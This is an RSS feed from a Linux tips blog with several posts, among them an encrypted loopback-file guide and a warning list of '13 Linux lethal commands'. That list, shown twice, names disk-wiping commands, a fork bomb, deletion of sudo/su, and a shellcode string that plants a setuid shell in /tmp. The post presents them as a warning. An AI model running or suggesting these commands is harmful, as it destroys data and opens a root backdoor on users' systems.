<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux * Screw &#187; hacks</title>
	<atom:link href="http://www.linuxscrew.com/category/hacks/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.linuxscrew.com</link>
	<description></description>
	<lastBuildDate>Fri, 04 Nov 2011 14:19:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=5030</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>16 GB encrypted candy file</title>
		<link>http://www.linuxscrew.com/2010/05/05/16-gb-encrypted-candy/</link>
		<comments>http://www.linuxscrew.com/2010/05/05/16-gb-encrypted-candy/#comments</comments>
		<pubDate>Wed, 05 May 2010 15:01:50 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[backup]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[distros]]></category>
		<category><![CDATA[docs]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=994</guid>
		<description><![CDATA[Update: as far as cryptoloop is vulnerable and is not maintained I don&#8217;t recommend using below approach for creating encrypted for for those of you who require strong security. Use truecrypt to create encrypted filesystem within a file instead.
Today it came to my mind that it is time to make sensitive information stored on my [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;"><strong>Update</strong></span>: as far as <a href="http://www.spiritus-temporis.com/cryptoloop/">cryptoloop</a> is vulnerable and is not maintained I don&#8217;t recommend using below approach for creating encrypted for for those of you who require strong security. Use <a href="http://www.linuxscrew.com/2010/05/08/create-encrypted-filesystem-within-a-file-truecrypt-way/">truecrypt to create encrypted filesystem within a file</a> instead.</p>
<p><img class="alignright" src="/files/passwords.txt.png" alt="passwords.txt" />Today it came to my mind that it is time to make sensitive information stored on my usb flash drive encrypted but still transportable and easy to use. But I don&#8217;t want to have whole my 32 GB usb drive fully encrypted using <em><a href="http://www.truecrypt.org/">truecrypt</a></em> or something similar. It is just toooo slow. I also don&#8217;t want to use <a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard">GPG</a> for uncompressing files and directories every time I would like to read them and then create new GPG compressed file every time I save changes. This eats too much of my time and system resources. At the same time it is necessary to be able to use  that usb drive under windows, mac, linux whatever (read/write files) but still have my directory structure with <strong>sensitive files encrypted</strong>. Here is the solution: create encrypted <strong>filesystem within a file</strong> named, say, 16GB.candy.bin that could be stored on regular windows formatted usb flash drive and then mounted under Linux <strong>using the password</strong>.</p>
<p>When it becomes necessary I can mount that 16GB.candy.bin as the regular ext3 filesystem with all those stuff like permissions, ownership etc. that is available on ext3 but not in <a href="http://en.wikipedia.org/wiki/File_Allocation_Table">FAT</a> or <a href="http://en.wikipedia.org/wiki/Ntfs">NTFS</a>. On my windows formatted flash drive candy takes only 16 GB so I can use the rest of space to store not so sensitive information like mp3, movies or photos. Moreover I <strong> </strong> on windows or linux to read it.</p>
<p>Let&#8217;s create that 16GB.candy.bin file with encrypted <strong><a href="http://en.wikipedia.org/wiki/Ext3">ext3</a></strong> filesystem (read below explanations below carefully before just to copy/paste commands into CLI):</p>
<p><code>[root@artemn root]# cd /path/to/candy/</p>
<p>[root@artemn root]# modprobe cryptoloop</p>
<p>[root@artemn root]# modprobe aes</p>
<p>[root@artemn root]# dd if=/dev/urandom of=16GB.candy.bin bs=1048576 count=16000</p>
<p>[root@artemn root]# losetup -e aes /dev/loop0 16GB.candy.bin</p>
<p>[root@artemn root]# mkfs.ext3 /dev/loop0</p>
<p>[root@artemn root]# tune2fs -i 0 -c 0 /dev/loop0</code></p>
<p>Here are some points: using above commands we create encrypted file of 16 GB so if you need to have more or less just change &#8220;count=16000&#8243; in <em>dd</em> line. &#8220;count=16000&#8243; means 16GB so &#8220;count=20&#8243; means 20MB. Path &#8216;/path/to/candy/&#8217; is for example only so you should change it to real directory that is able to host encrypted file (16 GB in above example). Command <em>losetup</em> is present in most Linux distributions (btw I recommend <strong><a href="http://www.ubuntu.com">Ubuntu</a> </strong>especially newly released <a href="http://en.wikipedia.org/wiki/Lucid_Lynx#Ubuntu_10.04_LTS_.28Lucid_Lynx.29">Lucid Lynx</a>) but if it is not use your disro&#8217;s packet manager to install it or compile from sources (for super geeks only, <a href="http://en.wikipedia.org/wiki/Stallman">Mr. Stallman</a> if you read this article &#8212; Hello). Reader, you can replace &#8220;/dev/urandom&#8221; in <em>dd</em> line with &#8220;/dev/zero&#8221; that will make that command to finish faster but will lower security level of resulting file (read about <a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES</a> for better understanding). You will need to enter the password when running <em>losetup</em> command so make sure it safe and long enough like &#8216;6U2sAsR37Hn8122dGsaPrew1twt&#8217; but not &#8216;abc123&#8242; or &#8216;iloveyou&#8217;.</p>
<p>Once commands are done you will get 16GB.candy.bin containing encrypted ext3 filesystem. You can store this file where ever you want, say, on a flash drive. If you loose it nobody won&#8217;t be able to open it until he (or she!) <a href="http://aceontech.com/2008/03/29/to-crack-17-character-aes-password-100-years-and-1-billion-dollars/">cracked AES encryption</a> (use long passwords to prevent this). As the next step it is required to mount filesystem and store some files/directories in it:</p>
<p><code>[root@artemn root]# mkdir -p /mnt/candy</p>
<p>[root@artemn root]# cd /path/to/candy/</p>
<p>[root@artemn root]# mount -t ext3 -o loop,encryption=aes 16GB.candy.bin /mnt/candy</p>
<p>[root@artemn root]# cd /mnt/candy</p>
<p>[root@artemn root]# #save files, edit them, view or anything you want</p>
<p>[root@artemn root]# cd /</p>
<p>[root@artemn root]# umount /mnt/candy</code></p>
<p>When you unmount 16GB.candy.bin the changes are already saved there so it&#8217;s not required to compress and encrypt anything unlike with GPG.</p>
<p>P.S. This post is inspired by <a href="http://nst.sourceforge.net/nst/docs/user/ch04s04.html">Loopback tricks</a> article. Thanks to the author. Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2010/05/05/16-gb-encrypted-candy/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>13 Linux lethal commands</title>
		<link>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/</link>
		<comments>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 08:02:52 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=877</guid>
		<description><![CDATA[<p><img class="size-full wp-image-878 alignright" title="dead linux" src="http://www.linuxscrew.com/wp-content/uploads/2009/12/dead_linux.jpg" alt="dead linux" width="200" height="240" />In this post I will collect all commands which <strong>SHOULD NEVER</strong> be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.</p>
<p><span style="color: red;"><strong>NEVER RUN THESE COMMANDS IN LINUX BOX CLI!</strong></span></p>
<p>Even if somebody advises you in forum/im to do it.</p>
<p>1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. Causes kernel panic or freezes Linux box:</p>
<ul>
<li><code><strong>dd if=/dev/random of=/dev/port</strong></code></li>
<li><code><strong> <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong></strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as "rm -rf /":</p>
<p><strong>char esp[] __attribute__ ((section(".text"))) /* e.s.p<br />
release */<br />
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"<br />
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"<br />
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"<br />
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"<br />
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"<br />
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"<br />
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"<br />
"cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;";</strong></p>
<p>4. This one will prevent you from executing commands with root rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.</p>
<p><strong>Update</strong>: See what happens if execute <strong>rm -rf /</strong> in Ubuntu: <a href="http://www.youtube.com/watch?v=wWOjmvWPRvQ">http://www.youtube.com/watch?v=wWOjmvWPRvQ</a></p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>Subscribe for <a href="http://www.actualtests.com/exam-650-575.htm">650-575 dumps</a> training sessions to guarantee pass <a href="http://www.certkiller.com/exam-642-611.htm">642-611</a> exam. Also get free download link for the next <a href="http://www.examsheets.com/exam/1z0-533.htm">1z0-533</a> exam, after getting success in <a href="http://www.testkingsite.com/microsoft/70-433.html">70-433</a> &#038; <a href="http://www.testkingprep.com/642-661.html">642-661</a>, you can find a wonderful job.<br />
</font></p>
]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-878 alignright" title="dead linux" src="http://www.linuxscrew.com/wp-content/uploads/2009/12/dead_linux.jpg" alt="dead linux" width="200" height="240" />In this post I will collect all commands which <strong>SHOULD NEVER</strong> be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.</p>
<p><span style="color: red;"><strong>NEVER RUN THESE COMMANDS IN LINUX BOX CLI!</strong></span></p>
<p>Even if somebody advises you in forum/im to do it.</p>
<p>1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. Causes kernel panic or freezes Linux box:</p>
<ul>
<li><code><strong>dd if=/dev/random of=/dev/port</strong></code></li>
<li><code><strong> <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong></strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as "rm -rf /":</p>
<p><strong>char esp[] __attribute__ ((section(".text"))) /* e.s.p<br />
release */<br />
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"<br />
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"<br />
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"<br />
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"<br />
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"<br />
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"<br />
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"<br />
"cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;";</strong></p>
<p>4. This one will prevent you from executing commands with root rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.</p>
<p><strong>Update</strong>: See what happens if execute <strong>rm -rf /</strong> in Ubuntu: <a href="http://www.youtube.com/watch?v=wWOjmvWPRvQ">http://www.youtube.com/watch?v=wWOjmvWPRvQ</a></p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>Subscribe for <a href="http://www.actualtests.com/exam-650-575.htm">650-575 dumps</a> training sessions to guarantee pass <a href="http://www.certkiller.com/exam-642-611.htm">642-611</a> exam. Also get free download link for the next <a href="http://www.examsheets.com/exam/1z0-533.htm">1z0-533</a> exam, after getting success in <a href="http://www.testkingsite.com/microsoft/70-433.html">70-433</a> &#038; <a href="http://www.testkingprep.com/642-661.html">642-661</a>, you can find a wonderful job.<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMware server console keyboard problem in Ubuntu Intrepid Ibex</title>
		<link>http://www.linuxscrew.com/2008/12/19/vmware-server-console-keyboard-problem-in-ubuntu-intrepid-ibex/</link>
		<comments>http://www.linuxscrew.com/2008/12/19/vmware-server-console-keyboard-problem-in-ubuntu-intrepid-ibex/#comments</comments>
		<pubDate>Fri, 19 Dec 2008 12:13:23 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/?p=649</guid>
		<description><![CDATA[Few days ago I have upgraded my Ubuntu to latest 8.10 (Intrepid Ibex) and found that keyboard just doesn&#8217;t work in VMware Server Console. The problem was that I couldn&#8217;t use keyboard under guest operating system including Windows, Linux etc. After few hours of research I found simple solution which works for me:
$ setxkbmap
$ echo [...]]]></description>
			<content:encoded><![CDATA[<p>Few days ago I have upgraded my <strong>Ubuntu</strong> to latest 8.10 (<strong>Intrepid</strong> Ibex) and found that keyboard just doesn&#8217;t work in <strong>VMware Server Console</strong>. The problem was that I couldn&#8217;t use <strong>keyboard</strong> under guest operating system including Windows, Linux etc. After few hours of research I found simple solution which works for me:</p>
<p><code>$ setxkbmap<br />
$ echo "xkeymap.nokeycodeMap = true" &gt;&gt; ~/.vmware/config</code></p>
<p>After this restart vmware-server-console and see if it helps. If not you can see other solutions of the same problem at this site:<br />
<a href="http://nthrbldyblg.blogspot.com/2008/06/vmware-and-fubar-keyboard-effect.html"> http://nthrbldyblg.blogspot.com/2008/06/vmware-and-fubar-keyboard-effect.html</a></p>
<p>I hope it helps!<br />
<span id="more-649"></span><br />
P.S. Here are vmware-server-console&#8217;s libs I use:</p>
<pre>artemn@artemn-laptop:~$ ls -la /usr/lib/vmware-server-console/lib
total 172
drwxr-xr-x 40 root root  4096 2008-12-24 12:56 .
drwxr-xr-x 11 root root  4096 2008-12-24 12:56 ..
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libart_lgpl_2.so.2
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libatk-1.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libatkmm-1.6.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libcrypto.so.0.9.7
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libexpat.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libfontconfig.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libfreetype.so.6
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgcc_s.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgdkmm-2.4.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgdk_pixbuf-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgdk-x11-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libglade-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libglib-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libglibmm-2.4.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libglibmm_generate_extra_defs-2.4.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgmodule-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgnomecanvas-2.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgnomecanvasmm-2.6.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgobject-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgthread-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgtkmm-2.4.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libgtk-x11-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpango-1.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpangoft2-1.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpangomm-1.4.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpangox-1.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpangoxft-1.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libpng12.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 librsvg-2.so.2
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libsexymm.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libsexy.so.1
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libsigc-2.0.so.0
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libssl.so.0.9.7
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libstdc++.so.5
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libview.so.2
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libXft.so.2
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libxml2.so.2
drwxr-xr-x  2 root root  4096 2008-12-24 12:56 libXrender.so.1
-r-xr-xr-x  1 root root 10173 2008-12-24 12:56 wrapper-gtk24.sh</pre>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>We are the world leaders in providing best <a href="http://www.actualtests.com/exam-000-104.htm">000-104</a> &#038; <a href="http://www.certkiller.com/exam-117-102.htm">117-102</a> exams prep solutions. Our incredible offers for <a href="http://www.examsheets.com/exam/70-663.htm">70-663</a> and <a href="http://www.testkingsite.com/checkpoint/156-215-70.html">156-215.70</a> exams are accessible at reasonable prices; <a href="http://www.testkingprep.com/650-195.html">650-195</a> is very rare in IT world sense.<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/12/19/vmware-server-console-keyboard-problem-in-ubuntu-intrepid-ibex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPA Wi-Fi encryption is now cracked</title>
		<link>http://www.linuxscrew.com/2008/11/07/wpa-wi-fi-encryption-is-now-cracked/</link>
		<comments>http://www.linuxscrew.com/2008/11/07/wpa-wi-fi-encryption-is-now-cracked/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 10:26:07 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2008/11/07/wpa-wi-fi-encryption-is-now-cracked/</guid>
		<description><![CDATA[Network security researcher Erik Tews found a way to brake TKIP (Temporal Key Integrity Protocol) used by WPA in order to read the data being sent from router to Wi-Fi laptop or PC. It takes from 12 to 15 minutes to crack WPA encryption according to statements made by PacSec conference organizers where Erik will [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.linuxscrew.com/wp-content/uploads/2008/05/wifi_logo_0.gif" align="right" height="127" width="200" />Network security researcher <a href="http://www.google.com/search?hl=en&amp;q=Erik+Tews">Erik Tews</a> found a way to brake TKIP (Temporal Key Integrity Protocol) used by <a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access">WPA</a> in order to read the data being sent from router to Wi-Fi laptop or PC. It takes from 12 to 15 minutes to crack WPA encryption according to statements made by <a href="http://pacsec.jp/" target="_blank">PacSec conference</a> organizers where Erik will demonstrate the procedure.</p>
<p><a href="http://pacsec.jp/dojo.html">PacSec 2008 Conference</a> will be held on November 12/13, 2008, at Aoyama Diamond Hall in Tokyo, Japan. The presentation is planned as &#8220;Gone in 900 Seconds, Some Crypto Issues with WPA &#8211; Erik Tews&#8221;.</p>
<p>WPA (Wi-Fi Protected Area) is widely used to protect many corporate and personal wireless networks. This  protocol implements <a href="http://en.wikipedia.org/wiki/IEEE_802.11i-2004" title="IEEE 802.11i-2004">IEEE 802.11i</a> standard and is a successor of WEP algorithm which <a href="http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf">was cracked in 2001</a>.</p>
<p>Read more here: <a href="http://www.networkworld.com/news/2008/110608-once-thought-safe-wpa-wi-fi.html?ts0hb&amp;story=ts_wpahack">Once thought safe, WPA Wi-Fi encryption is cracked</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/11/07/wpa-wi-fi-encryption-is-now-cracked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FAQ: How to order pizza from Linux CLI?</title>
		<link>http://www.linuxscrew.com/2008/08/08/faq-how-to-order-pizza-from-linux-cli/</link>
		<comments>http://www.linuxscrew.com/2008/08/08/faq-how-to-order-pizza-from-linux-cli/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 13:34:25 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[humour]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2008/08/08/faq-how-to-order-pizza-from-linux-cli/</guid>
		<description><![CDATA[Q: How can I order my favourite pizza by using Linux command line interface?
A: Well&#8230; You can use Pizza Party application written by Cory Arcangel and Michael Frumin! Here are some features this outstanding application provides:


Can order pizza with only a few keystrokes.
Can save pizza preferences.
Can use batch files for ordering many pizzas.
Has easy to [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.linuxscrew.com/wp-content/uploads/2008/08/coupleeating.gif" title="couple eating pizza linux" alt="couple eating pizza linux" align="right" /><strong>Q</strong>: How can I order my favourite pizza by using Linux command line interface?</p>
<p><strong>A</strong>: Well&#8230; You can use <a href="http://www.beigerecords.com/cory/pizza_party/">Pizza Party</a> application written by <a href="http://www.beigerecords.com/cory/">Cory Arcangel</a> and Michael Frumin! Here are some features this outstanding application provides:<br />
<quote></quote></p>
<ul>
<li>Can order pizza with only a few keystrokes.</li>
<li>Can save pizza preferences.</li>
<li>Can use batch files for ordering many pizzas.</li>
<li>Has easy to use flags for ordering different toppings.</li>
<li>Runs on most UNIX-like operating systems.</li>
<li>Supports most currently popular topings like &#8220;mushrooms&#8221;, and      &#8220;pepperoni&#8221;!</li>
<li>Unattended / background operation.</li>
<li>Pizza Party is distributed under the <a href="http://www.gnu.org/copyleft/gpl.html">GNU General Public License</a>.</li>
</ul>
<p>Download Pizza Party&#8217;s initial source code <a href="http://www.beigerecords.com/cory/pizza_party/download/pizza_party-0.1.b.tar.gz" target="_blank">here</a> and python ported version from this link.</p>
<p><center><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/x7pPajOvQGo&#038;color1=11645361&#038;color2=13619151&#038;fs=1"></param><param name="wmode" value="transparent"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/x7pPajOvQGo&#038;color1=11645361&#038;color2=13619151&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" wmode="transparent" width="425" height="344"></embed></object></center></p>
<p>P.S. This portion of Friday humour is provided by <a href="http://hehe2.net/" target="_blank">Royal HeHe2-ness!</a> <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><!-- INFOLINKS_OFF -->
<p style="padding-top: 25px; padding-bottom: 25px;"><font size="-2"><strong>Information improvisation: </strong>You can sign up for <a href="http://www.actualtests.com/exam-70-576.htm">70-576</a> training program to guarantee passes your <a href="http://www.certkiller.com/exam-HP0-J43.htm">HP0-J43</a> exam. We also offer best quality self study resources for <a href="http://www.examsheets.com/exam/70-536.htm">70-536</a> &#038; <a href="http://www.testkingsite.com/the-open-group/OG0-093.html">OG0-093</a>, have you ever heard about <a href="http://www.testkingprep.com/000-152.html">000-152</a>, they are stunning in IT world.<br />
</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/08/08/faq-how-to-order-pizza-from-linux-cli/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Install Firefox 3 in Debian Etch</title>
		<link>http://www.linuxscrew.com/2008/06/21/install-firefox-3-in-debian-etch/</link>
		<comments>http://www.linuxscrew.com/2008/06/21/install-firefox-3-in-debian-etch/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 13:49:45 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2008/06/21/install-firefox-3-in-debian-etch/</guid>
		<description><![CDATA[If you downloaded fresh Firefox 3 installation e.g. from here and tried to install it in Debian Etch, you might notice that latest version of the popular browser requires GTK+ 2.10 while Etch contains only 2.8:
We're sorry, this application requires a version of the GTK+
library that is not installed on your computer.
You have GTK+ 2.8.This [...]]]></description>
			<content:encoded><![CDATA[<p>If you downloaded fresh Firefox 3 installation e.g. from <a href="http://www.mozilla.com/products/download.html?product=firefox-3.0&amp;os=linux&amp;lang=en-US" target="_blank">here</a> and tried to install it in Debian Etch, you might notice that latest version of the popular browser requires GTK+ 2.10 while Etch contains only 2.8:</p>
<pre>We're sorry, this application requires a version of the GTK+
library that is not installed on your computer.
You have GTK+ 2.8.This application requires GTK+ 2.10 or newer.Please upgrade your GTK+ library if you wish to use this application</pre>
<p>Thankfully there is no need to upgrade GTK+, the tips given <a href="http://www.captain.at/howto-run-firefox-3-debian-etch.php" class="broken_link" >here</a> (and <a href="http://forum.eeeuser.com/viewtopic.php?id=22973">here</a>) will keep you from headache. The only thing that is necessary to do to get Firefox 3 working at Debian Etch, is to get GTK+ from backports by the following commands:</p>
<p><code>wget http://apt.linex.org/linex/gtk-2.10/libgtk2.0-0_2.10.13-2%7Ebpo.1_i386.deb<br />
dpkg-deb -x libgtk2.0-0_2.10.13-2~bpo.1_i386.deb gtk2-10</code></p>
<p>Then copy contents of newly created directory <code>gtk2-10</code> to /opt/firefox3 and add the following line into <code>/opt/firefox3/firefox</code>:</p>
<p><code>#!/bin/sh<br />
#<br />
export LD_LIBRARY_PATH="/opt/firefox3/gtk2-10/usr/lib"</code></p>
<p>It is necessary to inform Firefox where is new GTK+ is located <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Now it&#8217;s time to start Firefox&#8230;</p>
<p>P.S. In other distributions you can try to compile/install GTK+2.10 manually:<br />
<code><br />
cd /usr/local/src<br />
wget http://ftp.gnome.org/pub/GNOME/sources/gtk+/2.10/gtk+-2.10.14.tar.bz2<br />
tar xjf gtk+-2.10.14.tar.bz2</code><br />
<code>mkdir gtk210<br />
cd gtk+-2.10.14<br />
./configure --prefix=/opt/firefox3/gtk2-10<br />
make install<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/06/21/install-firefox-3-in-debian-etch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mount your Flickr account as regular Linux drive</title>
		<link>http://www.linuxscrew.com/2008/04/30/mount-your-flickr-account-as-regular-linux-drive/</link>
		<comments>http://www.linuxscrew.com/2008/04/30/mount-your-flickr-account-as-regular-linux-drive/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 14:34:14 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2008/04/30/mount-your-flickr-account-as-regular-linux-drive/</guid>
